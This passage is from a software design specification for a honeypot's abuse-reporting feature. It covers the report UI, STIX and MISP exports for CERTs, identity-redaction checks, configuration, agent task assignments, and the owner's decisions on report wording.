GET	/api/v1/abuse/exports/stix, /misp	report or campaign or since/until, tlp. Guarded; audit abuse.export
POST	/api/v1/abuse/exports/samples	§8.4

9.2 UI (follow web/DESIGN.md; no new hue, no new component where one exists)

Route /defend/abuse (“Abuse reports”), in the Defend group of the sidebar. The weekly report at /reports/:week keeps its name; this page never says “Reports” alone.

• Header finding first: “4 reports are ready for review, covering 23 addresses in 3 networks.” or “Nothing to report: no source crossed the thresholds this week.”
• Blocked state (no self address known, worker off, gate closed): an EmptyState that explains the cause in one sentence and links to Settings.
• Tabs by status (Drafts, Reviewed, Sent, Closed, Discarded) with counts; a “No contact found” list under Drafts.
• Rows grouped by provider: recipient name and mailbox (mono), ASN chips (clickable to the network view), kind as TagBadge (Attack source, Payload host, C2 server), subjects count, window (browser time zone, UTC on hover), identity check state as icon plus word (“Checked” / “Blocked”).
• Report page /defend/abuse/:publicId: status stepper (Draft → Reviewed → Sent → Closed); Identity check card first (“Nothing identifying found. 2 addresses masked, 1 line removed.”, or the blocked reasons in plain English); Message card with segmented control Plain text / X-ARF / .eml, read-only fields To, Subject, Body (monospace, scrollable) each with a copy button, attachment downloads; Subjects table (IP chips and URLs link to the dashboard views: these links exist only in the UI, never in the rendered text); Notes; actions: Mark reviewed, Mark sent (dialog with date/time, default now), Close, Discard, Regenerate. Viewers see everything read-only, without action buttons. Demo reports carry a “Demo data, do not send” banner and no Mark sent.
• Exports: a menu “Export for CERT” (STIX 2.1, MISP JSON, TLP choice) on the campaign page and on the report page; on the sample page and the Samples tab, “Add to sample bundle” (admin), with the bundle dialog asking for the password (re-authentication) and explaining infected.
• Settings → Reporting card: reply contact, signature, intro, outro (with the default-wording notice), X-ARF user agent, default options, default TLP; Never in a report list (learned and manual self terms, masked, reveal, add, delete manual, confirm learned).
• Red is used only for a blocked identity check (a severe state). Status uses neutral tones plus words and icons.
• Mocks in web/src/mocks with documentation addresses and example.net mailboxes only.

9.3 Live check just abuse-guard-check

Runs python -m api.abuse_selfcheck inside api: renders every non-discarded report in every format and a STIX and MISP export of the last 7 days, runs the guard, prints PASS/FAIL counts per format and the reason codes, never values; non-zero exit on any failure or on no_self_address. This is the milestone’s acceptance proof on the live data.

9.4 Demo

With ABUSE_REPORTS_INCLUDE_DEMO=true (CI, screenshots), demo sessions (data.demo) produce reports flagged demo, recipients [email protected], no RDAP call, documentation ranges allowed by the guard for those reports only, and the subject line prefixed “DEMO, DO NOT SEND”.

10. Configuration

Variable	Default	Used by
ABUSE_REPORTS_ENABLED	false	ingest
ABUSE_BUILD_INTERVAL_S	3600	ingest
ABUSE_MIN_LOGIN_ATTEMPTS, ABUSE_SEVERE_TAGS	50, see §3.1	ingest
ABUSE_LOOKBACK_DAYS, ABUSE_SETTLE_MIN, ABUSE_RESEND_DAYS	7, 30, 14	ingest
ABUSE_MAX_SUBJECTS, ABUSE_MAX_OPEN_DRAFTS	100, 200	ingest
ABUSE_RDAP_DAILY_QUOTA, ABUSE_RDAP_HOURLY_QUOTA	1000, 200	ingest
ABUSE_REPORT_RETENTION_DAYS	730	migrate (retention job)
ABUSE_REPORTS_INCLUDE_DEMO	false	ingest
Sensor host name variables (§7.1), API_ALLOWED_ORIGINS, ALERTS_DASHBOARD_URL, INDICATORS_IGNORE, BLOCKLIST_NEVER, AUTH_TRUSTED_PROXIES, VPN_WG_ENDPOINT_IP	existing	now also passed to api (guard)

The reply contact, signature and wording are not environment variables: they live in report_settings, typed in Settings.

11. Task split

Every prompt repeats: no value from ENVIRONMENT.local.md or .env in any file; documentation ranges, documentation ASNs and example.* names only; the guard reason codes never carry values.

Wave 1 (parallel, separate directories)

T1. Migration and roles (sonnet, backend-engineer)

• Owns: db/migrations/versions/0019_abuse_reports.py, db/suckerpot_db/models.py, db/suckerpot_db/roles.py, db/suckerpot_db/retention.py, db/tests/**.
• Contracts: §6.2, §6.3, triggers, retention.
• Accept: upgrade/downgrade chain; grant tests (api cannot write evidence, ingest cannot set sent, RLS on report_self_terms both ways, demo cannot become sent, one open report per recipient and kind).
• Verify: just lint, just typecheck, just test, just test-integration.

T2. Shared package reporting/ (sonnet, backend-engineer; the core of the milestone)

• Owns: reporting/** (new), justfile (packages only), .github/workflows/ci.yml (python job list only).
• Contracts: §4 (evidence model, redaction), §5.3 ids, §7.1, §7.2, §7.4, §8 renderers and bundle builder; pure functions, no I/O; load_self_terms takes plain data (rows and env mapping), the DB query lives in ingest/api.
• Accept: planted and clean corpora pass; every renderer has a golden test; STIX validates; X-ARF YAML round-trips; zip metadata neutral (timestamps, no comment); static test passes and fails on a planted smtplib import.
• Verify: just lint typecheck test; single package as in CLAUDE.md §7 with -w /work/reporting.

T5. Web (sonnet, frontend-engineer; on mocks from wave 1)

• Owns: web/src/pages/abuse.tsx, web/src/pages/abuse-detail.tsx, web/src/pages/settings.tsx (Reporting card), web/src/pages/campaign-detail.tsx and sample-detail.tsx (export menu only), web/src/app/router.tsx, sidebar nav, web/src/lib/api*, web/src/mocks/**, tests.
• Accept: §9.2; vitest for copy buttons, revision conflict, viewer read-only, demo banner, blocked state; screenshots 1440/390, dark/light.
• Verify: just web-test, just web-build, just screenshots; ui-designer review.

Wave 2 (after T1 and T2 are merged)

T3. Ingest worker (sonnet, backend-engineer)

• Owns: ingest/ingest/abuse/** (RDAP client, bootstrap snapshot, self-term learning, selection, grouping, build, requests, status), ingest/ingest/features.py, ingest/ingest/main.py (worker wiring), ingest/pyproject.toml, ingest/uv.lock, ingest/Dockerfile, ingest/tests/**, docker-compose.yml (ingest and api environment only), .env.example.
• Contracts: §3, §5, §6.4, §7.3; M21 gate rules (EgressClosed retryable, no quota spent).
• Accept: RDAP parsing tests on recorded fixture answers rewritten with documentation values (ARIN nested POC, RIPE abuse-c, APNIC remarks, LACNIC, AFRINIC, autnum fallback, no contact, redirect outside bootstrap refused, oversized body); quota and cache; gate closed waits; learning thresholds; dedupe and cooldown; reviewed drafts untouched; static egress test still passes; integration test: demo events → draft → guard ok.
• Verify: just lint typecheck test, just test-integration.

T4. API (sonnet, backend-engineer)

• Owns: api/api/abuse.py, api/api/abuse_exports.py, api/api/abuse_selfcheck.py, api/api/samples.py (archive helper moved to reporting), api/api/routes.py, api/pyproject.toml, api/uv.lock, api/Dockerfile, api/tests/**, justfile (abuse-guard-check recipe only, after T2’s change).
• Contracts: §8, §9.1, §9.3; guard on every render, download and export.
• Accept: authz walk passes (viewer 403 on every write, settings GET admin-only); revision 409; transitions; guard failure returns 409 with codes only (test asserts the planted value is absent from the body and the log); STIX/MISP/bundle golden tests; bundle needs re-auth, excludes a sample containing the self address; audit rows have no values.
• Verify: just lint typecheck test, just test-integration, just abuse-guard-check on the live stack.

Wave 3

T6. Docs (haiku, docs-writer): docs/abuse-reports.md (owner guide: how to send from a webmail, attach report.txt, what is withheld and why, the residual risk of §1), docs/SECURITY.md (new section “Abuse reporting: nothing identifying”), docs/configuration.md, docs/api.md, docs/ui.md, docs/ARCHITECTURE.md (new tables and worker), docs/index.md (toctree entries for the guide and design/m22).

Reviews: security-reviewer (opus) on T2 + T3 + T4 together, with an explicit leak hunt: try to get the self address, a self name, the project name or a session id into each artefact through attacker-controlled fields (commands, URLs, user agents, usernames, sample contents, RDAP answers, recipient names). Then the milestone review. ui-designer on T5.

12. Risks and open questions

1. X-ARF version: v0.2 by mail (proposed) or XARF v4 JSON as well? Field names to confirm against the official schemas, and their licence before vendoring.
2. Default wording fingerprints the project (it is in a public repo). Notice only, or require a custom intro before the first report can be marked reviewed?
3. Flow-log correlation (§1): accepted, mitigated only by time_precision = minute.
4. Domains: reported to the registrar only. Hosting reports for domains would need DNS resolution through the tunnel (DNS over HTTPS via the proxy). Add later?
5. Usernames in bodies (on by default): some desks find them useful; they never include passwords. Confirm.
6. TLP default for CERT exports (TLP:GREEN proposed) and which national CERT the owner targets (affects whether MISP or STIX is the primary format).
7. No self address known at first start: reports stay locked until traffic teaches one or the owner enters it. This is deliberate (fail closed).
8. Recipient data is third-party text (RDAP names, remarks): validated and length-capped, never rendered as HTML, and run through the guard like everything else.

11. Owner decisions (2026-10-31)

1. X-ARF v0.2 by mail only for M22; XARF v4 JSON is a later item.
2. A custom introduction is required before a report can be marked reviewed (the default wording is public and searchable).
3. Times are rounded to the minute by default (ABUSE_ROUND_TIMES=true); exact times are an opt-in.
4. Domains go to the registrar only; DNS over HTTPS through the tunnel is a later item.
5. CERT exports default to TLP:GREEN; both STIX 2.1 and MISP are produced.

Changed on 2026-11-01

Decision 2 above no longer applies. The owner made the report wording optional. Only the reply contact is required (without it the recipient cannot answer). The introduction, closing, note and signature are left out of every rendering when empty. An empty subject template gives Abuse report for {value} and an empty X-ARF user agent gives Mozilla/5.0; both are built from data only or are as widespread as possible, so they cannot be traced to the project. The custom_intro_required gate on marking a report reviewed is removed. The default_wording guard and legacy.py stay: text equal to wording that was once published is still refused.